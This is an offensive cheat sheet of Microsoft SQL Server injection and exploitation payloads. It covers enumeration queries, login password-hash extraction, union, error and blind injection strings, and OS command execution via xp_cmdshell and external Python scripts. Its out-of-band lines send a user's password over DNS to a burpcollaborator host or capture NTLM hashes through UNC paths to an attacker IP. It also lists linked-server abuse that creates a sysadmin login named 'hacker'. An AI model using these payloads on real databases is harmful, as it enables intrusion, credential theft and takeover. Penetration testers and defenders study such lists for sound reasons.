SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
MSSQL List columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, column_name FROM information_schema.columns
MSSQL List tables
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
MSSQL Extract user/password
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
MSSQL Union Based
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb
-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users
-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName
-- Finally extract the data
$ SELECT UserId, UserName from Users
MSSQL Error based
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)
For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
MSSQL Blind based
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
Executed by a different user than the one using xp_cmdshell to execute commands
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
MSSQL Out of band
MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
Manual exploitation
-- find link
select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
List permissions
Listing effective permissions of current user on the server.
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
Listing effective permissions of current user on the database.
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
Listing effective permissions of current user on a view.
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
Check if current user is a member of the specified server role.